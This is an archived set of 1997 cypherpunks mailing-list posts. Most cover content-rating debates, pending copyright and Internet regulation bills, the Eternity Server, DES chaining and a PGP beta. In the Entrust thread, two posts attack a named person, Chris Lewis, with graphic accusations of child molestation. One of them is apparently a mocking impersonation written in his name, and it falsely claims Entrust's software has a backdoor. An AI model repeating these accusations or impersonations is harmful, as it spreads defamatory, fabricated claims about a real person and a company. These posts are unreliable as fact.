 <META NAME="Dewey Decimal" CONTENT="423.342j">

Of course the number is now only a subject, not a specific web page.


>     It seems to me that, if the USG is in the business of encouraging or
> endorsing morally normative ratings systems (which, of course, they've done
> for years), they're discouraging free discourse regarding child-rearing.

Could you elaborate please?

 
>     It's important that parents can protect their children from content
> which _they_ believe to be inappropriate, but providing boilerplate (such
> as "adult"/"non-adult") turns parents into sheeple.

Agreed.  I prefer to determine for myself what is appropriate for my
child.  What someone else considers adult, I may consider appropriate or
even required for my child to view.
 
-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 09:59:55 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730154422.00864100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Forgery is a crime and such acts are not justified.
>> - Jai Maharaj

> Spamming is a crime (theft of computer resources) 
> and sometimes such acts may be justifiable self-defense.
> - Martin Pool

The commission of crimes such as forgery and censorship is 
not an acceptable excuse to stop the flow of information, even 
if the free flow is perceived by some as a crime.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kurt Starsinic <kstar@isinet.com>
Date: Thu, 31 Jul 1997 05:21:20 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system
Message-ID: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
MIME-Version: 1.0
Content-Type: text/plain



    I'm in favor of a ratings system; not one which indicates for whom a
given page is suitable, but rather one which identifies the subject matter.
 The Dewey Decimal System is a primitive example of such a system.

    It seems to me that, if the USG is in the business of encouraging or
endorsing morally normative ratings systems (which, of course, they've done
for years), they're discouraging free discourse regarding child-rearing.

    It's important that parents can protect their children from content
which _they_ believe to be inappropriate, but providing boilerplate (such
as "adult"/"non-adult") turns parents into sheeple.

    I could write a book, but I think I've made my point.

    Peace,
*---- Kurt Starsinic (kstar@isinet.com) ------ Senior Programmer/Analyst ---*
|   Institute for Scientific Information             (215) 386-0100 x1108   |
|   "It seems every politician in the country wants to enact a minute for   |
|    school prayer these days.  I'd be happy if somebody could just         |
|    legislate a minute of science in school."  --  Dennis Miller           |
*------------------------   http://www.isinet.com   ------------------------*





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 31 Jul 1997 08:14:58 +0800
To: Kurt Starsinic <cypherpunks@Algebra.COM
Subject: Re: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: <v03102805b005864a8b13@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:01 PM -0700 7/30/97, Kurt Starsinic wrote:
>    I'm in favor of a ratings system; not one which indicates for whom a
>given page is suitable, but rather one which identifies the subject matter.
> The Dewey Decimal System is a primitive example of such a system.
>
>    It seems to me that, if the USG is in the business of encouraging or
>endorsing morally normative ratings systems (which, of course, they've done
>for years), they're discouraging free discourse regarding child-rearing.
>
>    It's important that parents can protect their children from content
>which _they_ believe to be inappropriate, but providing boilerplate (such
>as "adult"/"non-adult") turns parents into sheeple.
>
>    I could write a book, but I think I've made my point.

But not convincingly.

By all means, label, categorize, rate, spindle, fold, or mutilate your own
material.

But don't demand that others do so. Any requirement that words, writings,
Web pages, or other utterances be labled, categorized, or rated is an
unconstitutional interference in the practice of free speech.

I don't expect to convince you. You and other censors will likely pass some
law requiring labeling, then a test case will be found, and, if the Supreme
Court adheres to the Constitution, the law will be struck down.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 05:57:59 +0800
To: cypherpunks@toad.com
Subject: Don't copy that floppy! Copyright bill roundup (7/30/97)
Message-ID: <v03007803b005655748c3@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



If you give your dad a "free" copy of Microsoft Word, you'll
be guilty of a Federal felony, at least under some of the
bills that have recently been introduced in Congress. I'm
still reading through them, but here's what I've gleaned...

Much of the debate will center around the so-called
"LaMacchia Exemption," which basically means that
non-profit copyright infringing is not a crime. It is,
however, already a civil offense -- as the SPA is always
eager to demonstrate. I wrote about this recently:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

HR2265: Introduced by Rep. Bob Goodlatte on July 25, the
"No Electronic Theft Act" would eliminate the LaMacchia
Exemption. If you give pirated software to a friend
(exchanging "anything of value" including "other copyright
works"), beware. For the first offense, assuming the
software is worth at least $5,000, you get three years in
the Federal pen. If you make more than ten total pirated
copies, you get six years:

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2265:


HR2180: Internet services generally would not be liable for
their customers' copyright infringements, under this bill
introduced on July 17 by Rep. Coble and Rep. Henry Hyde.
Called the "On-Line Copyright Liability Limitation Act,"
it's what ISPs have been demanding for years. Watch major
copyright owners like Microsoft frown at this one. Nobody
in the Senate has introduced companion legislation yet; the
Judiciary Committee had a hearing on ISP liability
scheduled for yesterday but it was cancelled due to Justice
Brennan's death.

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2180:


HR2281: Arguably the most controversial of the copyright
bills introduced so far, this legislation that was introduced
yesterday would enact the World Intellectual Property
Organization copyright treaty the U.S. signed last
December. Problem is, it may go far beyond what the treaty
requires. The bill bans "technology" (including both
hardware and software) that has few uses other than
"circumventing a technological protection measure."

It could impact encryption. "Circumvention" is defined as
"to descramble a scrambled work, to decrypt an encrypted
work." (What does this mean for cryptanalysts?) It also
restricts removing "copyright management information" that
includes titles, author's name, and copyright notice.
Violators would be subject to civil penalties or criminal
prosecution. If you "circumvent" protection or remove
copyright info "for purposes of private financial gain,"
you'll face up to a $1,000,000 fine and 10 years in Federal
prison.

That's serious stuff. And it raises some interesting
questions: what if I include a Reuters article in a
newsletter I sell, and delete the copyright notice? Am I a
Federal felon? Do I have a million dollars? Hmm...

"They have criminalized conduct that is legal under the
current copyright act," says Adam Eisgrau of the American
Library Association. "They have created a new crime that is
completely divorced from copyright infringement." Eisgrau
says this bill isn't required by the WIPO treaty, which
only mandates that countries punish *actions* that
infringe, not *devices* that do.

This legislation has hefty backing: Rep. Henry Hyde (full
committee chair), Rep. Howard Cobel (subcommittee chair),
and Rep. Barney Frank (ranking Democrat on the
subcommittee). Sen. Patrick Leahy, who likely will endorse
this approach, said yesterday that he was studying similar
legislation.

The SPA, naturally, is also supporting this bill. I've attached
their press release below. The text of HR2281 isn't online yet

-Declan

---

SPA press release

WIPO Treaty Implementation Bill Introduced in House
Copyright Protections for Software Greatly Enhanced


(Washington, D.C. -- July 30, 1997)  Rep. Howard Coble (R-N.C.), chairman
of the House Judiciary Subcommittee on Courts and Intellectual Property,
introduced late yesterday the WIPO Copyright and Performances and
Phonograms Treaty Implementation Act (H.R. 2281).  The bill will make
necessary amendments to U.S. law to enable the Senate to ratify new
international intellectual property treaties negotiated last year in
Geneva.  The legislation is largely based on a Clinton administration
proposal delivered by Commerce Secretary William Daley.

SPA was a leading participant in the diplomatic conference last December
that drafted the WIPO copyright treaty, and considers copyright protection
for the Internet to be a major priority.

"SPA supports the objectives of H.R. 2281 and, while further analysis must
be done, believes that the Clinton administration and Rep. Coble have
achieved a workable balance," said Ken Wasch, SPA president.  "H.R. 2281
represents significant accommodations to guard against inadvertent
liability for multi-purpose computers, software and other concerns.  We
hope Congress understands that further concessions would undermine the
measures needed to make gains in the war against software piracy."

"We commend Secretary Daley and his senior advisers for their perseverance
in forging the administration's legislative proposal, Rep. Coble and his
staff for their determined effort to introduce the measure and the bill's
co-sponsors, Reps. Henry Hyde (R-Il.), Barney Frank (D-Mass.) and John
Conyers (D-Mich.).   In putting this bill before Congress, they have
reached an important milestone in establishing the legal framework needed
to protect electronic commerce in computer software."

H.R. 2281 would also prohibit knowingly provide false copyright management
information with intent to induce or conceal software piracy and other
copyright infringement, and make technical changes to bring U.S. law into
accord with the WIPO treaties.

Circumvention of technological copyright protection measures for purposes
of software piracy is a serious problem.  Today, copyright law cannot be
used to stop all kinds of unauthorized circumvention, nor can the making
and selling of technology designed specifically to do so.  These access and
copy control technologies, such as scrambling, encryption and electronic
locks, supplement legal protection in fighting software piracy but do not
solve the problem.  In fact, new problems are emerging on a consistent
basis.

For example, last May Chico-based SciTech Software, Inc. received ransom
demands for $25,000 from an on-line extortionist who threatened to
publicize on the Internet the instructions for disabling technology that
controls the 21-day evaluation period for its graphics utility program,
"Display Doctor."  "The scary thing is not that our protection could be
circumvented.  Dedicated pirates always find a way," said Kendall Bennett,
SciTech engineering director.  What's scary is that they can get the
information on how to circumvent into the hands of millions of casual users
who would normally license our software."

The immediate threat to SciTech has passed, but the blackmailer is still at
large.  Other SPA members have received ransom demands for as much as $1
million. That problem would be addressed by the new WIPO Copyright Treaty,
which requires the U.S. and other countries to make sure that software
companies have effective remedies against circumvention of technical
protection for copyrighted works.   SPA has spent months building consensus
among industry and government on how to do so, and Rep. Coble's bill has
put the issues before Congress.

SPA is the principal trade association for the computer software industry,
representing the leading publishers as well as start-up firms in the
business, home office, consumer entertainment and educational markets.  SPA
supports companies that develop and publish software applications and tools
for use on the desktop, client-server networks and the Internet.  SPA's
1,200 member companies account for 85 percent of U.S. revenue for packaged
and online software.

Contact:        Mark Traphagen, Vice President for Intellectual Property
and Trade                       Policy, SPA, (202) 452-1600, ext. 322.
Steve Bowers, Media Relations Specialist, SPA, (202) 452-1600, ext. 365.


###                     www.spa.org


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 31 Jul 1997 09:07:45 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity Server 0.04 Available
Message-ID: <19970731010048.19631.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I am pleased to announce that I have successfully installed Adam Back's
"Eternity Server" on my home page.  This server permits a user to
transparently browse Web content posted to Usenet in encrypted form in
newsgroups like alt.anonymous.messages. 

Eventually, the Eternity Server will also serve web content from a variety
of more permanent repositories, like Altavista and Dejanews.

The Eternity Webspace is comprised of http URLs in a new virtual top level
domain, .eternity.  All documents are PGP signed, and posters may
optionally choose to have their domains indexed in a top level directory
under the URL http://eternity/. 

PGP is used for encryption, and documents may require the user to supply a
password before they can be viewed.  Documents may also be encrypted
with the hash of the URL, so that documents are only accessible to
individuals who already know their names. 

Although I expect most people will want to install their own servers in 
their Unix shell accounts, I will leave my server open for a little while
so that people can play before installing the software.

To try it out, just select the "Eternity Server" link on my homepage

             http://www.zipcon.com/~enoch
 
In order that people have something to browse, I have seeded
alt.anonymous.messages with two virtual web sites.  

The first of these has a URL of http://barney.eternity/ and is a single
document describing different ways one might kill a certain purple
dinosaur.  

The second has a URL of http://boylinks.eternity/ and is a large index
of boy-related resources on the Web, recently made homeless by the
CPAC/Sewer people.  The authors have devoted their best efforts to make
sure this list contains no links to porn or illegal material.  

The latest version of the eternity server may be found at Adam Back's
Web site and is called eternity-0.04.tgz.  You will need Perl 5 and
access to cgi-bin to install it. 

The eternity home page is...

          http://www.dcs.ex.ac.uk/~aba/eternity

Included are the eternity server, written in perl, and a "sitegrabber,"
which can be used to post entire websites to Usenet.

Enjoy...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 31 Jul 1997 07:28:26 +0800
To: cypherpunks@Algebra.COM
Subject: Get your house in order or we bulldoze it
Message-ID: <19970730193626.56428@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain



   [1]CNN logo
   [2][ISMAP]-[3]Navigation
   [4]Infoseek/Big Yellow
   [5]Pathfinder/Warner Bros
   Tech banner [6]IBM RS/6000 Technology. From Deep Blue. To Deep Space.
   
                                    rule
                                      
              Internet groups seek consensus on domain name flap
                                       
     July 29, 1997
     Web posted at: 9:24 p.m. EDT (0124 GMT)
     
     WASHINGTON (Reuter) - A diverse array of Internet groups will meet
     Wednesday to try to hash out a consensus on the contentious issue
     of expanding Internet addresses.
     
     The online community has largely avoided government regulation on
     issues like privacy and indecency by forging broad agreements
     relying on private-sector solutions.
     
     But a red-hot feud has broken out over the seemingly mundane
     question of how best to expand the number of network addresses,
     like "cnn.com" or "whitehouse.gov," that direct e-mail, Web surfing
     and all other Internet activity.
     
     The mess is already drawing substantial attention from the
     government.
     
     The Clinton administration has formed an inter-agency task force to
     examine the address issue, and in June the Commerce Department
     asked for suggestions on how the system could be fixed. Earlier
     this month, the Justice Department confirmed it was conducting an
     antitrust probe into address registrations.
     
     The Commerce Department's comment period ends next month, so with
     further government involvement imminent, several Internet groups
     outside of the dispute arranged two days of meetings this week at a
     Washington hotel to bring together the warring factions.
     
     "If we can lower some of the divisiveness and get people talking in
     a constructive way, we'll feel we've accomplished something," said
     Harris Miller, president of the Information technology Association
     of America, which is co-sponsoring the meeting.
     
     "We hope at the end of the conference that there is a constructive
     dialogue under way," Miller said, noting that his group has no
     official position on the Internet address question.
     
     Currently, all Internet addresses end with two or three letter
     designation known as a "top-level domain."
     
     Although each country has its own top-level domain, many addresses
     are registered in a handful of generic domains including ".com" for
     commercial sites, ".edu" for schools and ".org" for non-profit
     groups.
     
     Network Solutions Inc. of Herndon, Virginia, has an exclusive
     contract from the National Science Foundation to register addresses
     in the most popular generic top-level domains. But the agreement
     expires in March 1998, and the science agency has said the contract
     will not be renewed.
     
     Available addresses in the popular domains are shrinking fast,
     leading to bidding wars over desirable names and, in some cases,
     lawsuits by trademark holders claiming infringement.
     
     Network Solutions has also been criticized for charging $100 for a
     two-year registration, and a recent computer error by the firm
     scrambled the 'Net for hours and highlighted the vulnerability of
     the current system.
     
     In February, a group of traditional Internet standards-setting
     bodies agreed on a plan to add seven new top-level domains and add
     up to 28 competing registries. The plan gained the support of some
     major players, including MCI Communications Corp, but failed to
     garner the backing of online services such as America Online Inc.
     
     The plan is still expected to form the basis of an eventual
     compromise, but Network Solutions has its own plan, as does a group
     of small Internet Service providers known as the Enhanced Domain
     Name Service.
     
     Copyright 1997 [7]Reuters Limited. All rights reserved.
     
References

   1. http://cnn.com/index.html
   2. http://cnn.com/MAPS/9707/navs/basic.map
   3. LYNXIMGMAP:http://cnn.com/TECH/9707/29/internet.addresses.reut/index.html#map
   4. http://cnn.com/MAPS/9704/explore.map
   5. http://cnn.com/MAPS/9704/spotlight.map
   6. http://www-cgi.cnn.com/cgi-bin/redir?SpaceID=61&AdID=1974&URL=http://www.rs6000.ibm.com
   7. http://cnn.com/interactive_legal.html#Reuters





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 08:03:01 +0800
To: cypherpunks@toad.com
Subject: Rep. White introduces Internet Protection Act
Message-ID: <v0300780ab00583765cb0@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I admit I'm jaded after spending too much time -- which
in my case, is about three years -- in Washington.
I've seen too much special interest lobbying, too many
soft money favors, and (of course) a veritable slew of
unconstitutional legislation.

But sometimes a bill comes along that warms my heart.
It happened today, when Rep. Rick White (R-Wash)
introduced the Internet Protection Act to block the
FCC from regulating the Net. (Though I recall it's
been watered-down from the one he tried to pass last
year: http://www.hotwired.com/netizen/96/40/index1a.html )
Joining White in introducing the bill was the chair of
the House Telecom Subcommittee, Billy Tauzin (R-LA).

It stresses that industry, not government, should grow
the Net. Besides barring the FCC from regulating
Internet providers, the bill also amends the
Telecommunications Act to let the agency back away from
offline regulation if a comparable service exists
online.

This is important. After all, the FCC's charter gives
it jurisdiction over all electronic communications --
though the commission has opted not to exercise its
authority in cyberspace. A 1980 FCC directive dubbed
"Computer II" said the commission would regulate only
"basic" telephone services, not providers of "enhanced
services." That marked a reprieve for the Net, for the
"enhanced service provider" category includes
everything from voice mail service to alarm monitoring
firms to Internet providers. (That's why we don't pay
per-minute charges to log on today, much to the
chagrin of Bell Atlantic's lobbyists -- who tried in
1983 and 1996 to pass such a rule and met with a
crushing defeat each time.) Still, White's bill is
crucial since future commissioners may not display
this laudable regulatory forbearance.

Bob Corn-Revere, former FCC chief counsel, echoes this
in his recent book called "Rationales &
Rationalizations." He says: "The culture of regulation
already is marshaling its forces for a multi-faceted
assault on Internet freedom." After all, key
legislators like Rep. John Dingell (D-Mich) and Rep.
Edward Markey (D-Mass) have opposed legislation that
would exempt the Net from FCC content regulation.
Markey has said the Net should be regulated the
same way as other media, and Dingell wants to protect
the FCC's ability to "apply local [cable television]
franchising requirements to the Internet." Let's not
even talk about what the religious right would like
to do...

"Regardless of ideological differences between
liberals and conservatives, however, there really is
only one wish -- to control the medium," Corn-Revere
concludes. And he's right.

-Declan

An excerpt from the Internet Protection Act:

"LIMITATIONS ON COMMISSION AUTHORITY -- Except as
expressly provided in this section, noting in this Act
shall be construed to grant authority to the
Commission with respect to --

(A) the rates, charges, practices, classifications,
facilities, or services for or in connection with the
provision of Internet information services to
customers;

(B) technical specifications or standards for the
provision of Internet information services; or

(C) any other regulation of the provision of Internet
information services"



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Thu, 31 Jul 1997 04:30:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: <5ro7ru$f5i@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.LNX.3.91.970728211016.884C-100000@fatmans.demon.co.uk>,
Paul Bradley  <paul@fatmans.demon.co.uk> wrote:
>
>
>>   e.g. - If only 56-bit encryption becomes legal, is there a method
>> of *chaining* several passes of 48-bit encryption which would make it
>> just as hard to break as 96/192/384-bit (etc.) encryption?
>
>This is a similar idea to implementing, say DES, with independent 
>subkeys. Layering encryption in this manner makes the plaintext more 
>difficult to determine providing that:
>
>a. The involved cryptosystem is not a group, or does not posess strong 
>group like properties (eg. There are no large subgroups).
>
>b. Independent keys are used for each encryption
>
>For a good example of a particular case of your idea see 3DES

Careful, here.  3DES gives us a benefit because we can chain crypto at
the algorithm level.  Chaining several passes of DES may not give this
benefit if all we have is an opaque program that block-pads the input
and does raw DES on that.  For example (the values are imaginary),

DES("foo") = DES_raw("foo\x05\x05\x05\x05\x05") = "f983hgls"
DES(DES("foo")) = DES("f983hgls") =
   DES_raw("f983hgls\x08\x08\x08\x08\x08\x08\x08\x08") = "d84koqw78452398f"
DES(DES(DES("foo"))) = DES("d84koqw78452398f") =
   DES_raw("d84koqw78452398f\x08\x08\x08\x08\x08\x08\x08\x08") =
   "ecy34895y34057834985634y";

whereas 3DES("foo") = 3DES_raw("foo\x05\x05\x05\x05\x05") = "ecy34895"

To break DES(DES(DES("foo"))), break the outer DES until you find
"\x08\x08\x08\x08\x08\x08\x08\x08" at the end of the "plaintext" (actually,
the padded value of DES(DES("foo"))).  Repeat until you get "foo".

[It is left as an exercise to the reader to determine why you might not
be able to merely chop the last 8 bytes off the output of the second and
third DES iterations to get around this problem.]

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PGP Beta Team <beta@pgp.com>
Date: Thu, 31 Jul 1997 12:16:22 +0800
To: Coderpunks <pgp-users@joshua.rivertown.net>
Subject: PGP Linux 5.0b11 feedback?
Message-ID: <v04000813b005b398a39a@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

PGP for Personal Privacy 5.0b11 Linux is available for public beta in the
US and Canada via: <http://www.pgp.com/products/50-linux-beta.cgi> and we'd
appreciate expert feedback.

Should you by some miracle find an actual bug ;) please report it to
<PGPlinuxbeta@pgp.com>, which is read by those responsible for developing
and testing this version. It helps us if the first sentence or two
summarizes the problem, and if you include details on how we can reproduce
it in SQA, including any hardware/OS configuration info you think relevant.

If you have a general [comment] or [feature] request, those are welcome
too, but please prepend those meta-tags in the subject so we can easily
separate them from a [bug] that needs squashing. The 5.0 code is
feature-frozen, but we will definitely put all good ideas in the hopper for
the next rev.

Thanks!

   dave


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
 <beta@pgp.com>      web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+AQO1fGZ2VIgkQ1EQKKdQCg8uQtoL9ZJZtwlRO1i0zEJ63bGjQAoPAu
XafDxSNHEt3BwCdE/CjiPdEI
=rbpv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Harris <sandy@storm.ca>
Date: Thu, 31 Jul 1997 12:11:00 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <33E0073C.4896@storm.ca>
MIME-Version: 1.0
Content-Type: text/plain



> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
> 
> > I ask everyone on these two forums to inform Northern Telecom Forgers /
> > Bell North Forgery Research / Entrust that we will boycott their
> > "security" products as long they continue to employ the child-molesting
> > pedophile Chris R. Lewis - the biggest forger on Usenet.

  Chris Lewis' sexual predilictions are of no concern in the issue of
an individual's right to use any means necessary to force their own
censorous values on the rest of the world.
  Despite what Chris Lewis did to my six year-old niece, I support
his right to destroy the creations of those with whom he disagrees.

  Northern Telecom, Bell Northern and Entrust take the position that
employing persons who openly admit to forgery and censorship should
in no way reflect badly on their production of a product in the
security market.
  Entrust is confident that Chris Lewis' forgery, fraud and deceit
in no way affects the level of trust and confidence that people should
have in Entrust security products. After all, people lie, cheat and
steal all of the time. Why should those who work on security products
be held to a higher standard?

  What this anti-forgery scum, Dimitri, is actually upset about is 
Chris Lewis cancelling spam. He calls that "forgery" because the 
spammer's name goes in the sender field of the cancel message. Nonsense.
  If someone were to put my name in the sender field of email, I would
certainly not call that "forgery," even if they used email sent in my
name to suggest that I participated in the sexual acts Chris Lewis
committed with my niece. (BTW, the charges against me were dropped
after her unexpected death.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Thu, 31 Jul 1997 10:29:12 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Eternity Server 0.04 Available
In-Reply-To: <19970731010048.19631.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.95.970730221808.1747L-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, Mike Duvos wrote:

> Eventually, the Eternity Server will also serve web content from a variety
> of more permanent repositories, like Altavista and Dejanews.

How many other major repositories are there? I still have faith in Dejanews,
but have serious doubts concerning the permanence and expanse of the
Alta Vista database. Their Web index, at least, has not grown at the same
pace as Web documents, and seeminly arbitrary sites trigger their "spam
filter," where further URLs from that domain are refused.

>From <http://www.searchenginewatch.com/avsize.htm>:

"John Pike, webmaster of the Federation of American Scientists web site
responded to the article, complaining that he found only 600 of 6,000 pages
from his web site to be indexed by the Alta Vista.

"Pike's response went on to detail the a message he received from Alta Vista
regarding this. He was advised that 600 pages were probably the most he'd
see for any domain. He was also given the example of Geocities, which is a
popular site that provides web space for its members. He was told that
although Geocities has over 300,000 members (and thus at least 300,000
potential web pages), only 300 pages from the domain had been indexed."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Lewis <clewis@ferret.ocunix.on.ca>
Date: Thu, 31 Jul 1997 12:46:15 +0800
To: tzeruch@ceddec.com
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <97Jul30.141811edt.32257@brickwall.ceddec.com>
Message-ID: <33E01637.422F@ferret.ocunix.on.ca>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com wrote:
> On Wed, 30 Jul 1997, Michael C Taylor wrote:
> > Entrust Technologies (www.entrust.com) has made Solo available for
> > download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> > A mere $49 Cdn (~35 US) for commerical usage...
> >
> > Solo uses 128-bit encryption, which is CAST-128, the royality-free
> > algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> > cryptography and has DES, Triple DES available.
> 
> It would be interesting to know how they managed to do it.  The fine print
> in the license says it cannot be exported from the US and Canada without a
> license (which a second press release says they have, but doesn't say they
> had to do anything to the program in order to obtain it).

  Entrust didn't have to change the program in order to get permission
for export of the product because it was designed with a built-in back
door for the use of Entrust employees, anyway. 
  Thus it was only necessary to drop off the back door password with the
night janitor at the federal building in order to have export approval
by
early the next morning.

> PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
> with an RSA backward mode).  Does anyone know which hash algorithm
> Entrust/Solo uses?

  Unfortunately, the person who designed and developed that particular
part of the software has left the company in order to seek treatment for
his drug and alcohol abuse problems. (I always wondered why he giggled
every time someone said the word "hash.")
  I am confident that his work in this area was satisfactory and Entrust
has every intention to hire another programmer to test the program if
problems should arise in the future that affect our profit margin.

  I would be happy to answer any other questions you may have about the
Entrust product, but right now the children's crying is really getting
on my nerves, so I'd better go drop them off in the woods near their
home (if I can remember where it was I picked them up).

---
Chris Lewis
"Forging 'In Good Faith'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 31 Jul 1997 10:53:50 +0800
To: Adam Back <jai@mantra.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:03 AM 7/31/97 +0100, Adam Back wrote:

>It's censorship.  If you didn't write it, you have no business
>cancelling it.

Have you considered the actions of the news-admins that are auto-canceling 
anything with more than a certain number of cross-posts, or posts with "Make 
Money Fast" in the subject? (I think excessive posts to certain newsgroups 
may also fall into this category.  I think the big 6 get auto-covered by 
this..)

:-)  

"Make Money Fast" are killed because they're illegal scams in the US and I 
think in most of the world.

My question is, are you including these in the above comment, or not?

Ryan
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9/6ODc3ytqHnNyNAQGttQQAjcDjaK9C+mTLWGq3Df+jBHHF5tTq7L3w
gSlq5u5O4uOkAphDoGDWax66LKnNHKYX7swot8/VyAi13lsDTq+yVdoXFfs+AEWE
VCm3M5Kz4uB1yr8bRcAzhXeO2WqC+fMP+qqUf/wXIBwVfkylogrkUHwD55pKEl2L
ZLoSBVKPrE8=
=zgFt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 11:12:20 +0800
To: cypherpunks@toad.com
Subject: NRO: Risky Methods of Data Exploitation
Message-ID: <1.5.4.32.19970731024951.00734dcc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Wonder what's meant by "risky methods" NRO envisions in the 
article below by:

     "Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it."

----------

     30 July 1997, Jane's Defence Weekly

     NRO opens up to new satellite system ideas 

     For the first time in its history, the once super-secret 
     National Reconnaissance Office (NRO) is considering whether
     commercial space technology can satisfy its `customer'
     requirements for reconnaissance data needed by the DoD and
     the intelligence community. 

     In existence for over 30 years, the NRO is coming in from
     the cold for one clear reason: acquisition and operation of US
     reconnaissance satellites continues to account for most of the
     $28 billion in annual spending by the US intelligence
     community. Congress wants to find ways to trim the bill by
     encouraging the NRO to adopt commercial technology and
     move towards launching smaller, less expensive satellites. 

     The question of whether the NRO should continue to exist
     was an open debate last year. A panel chaired by Adm David
     Jeremiah, former vice chairman of the Joint Chiefs of Staff,
     concluded that the unique partnership between the Director of
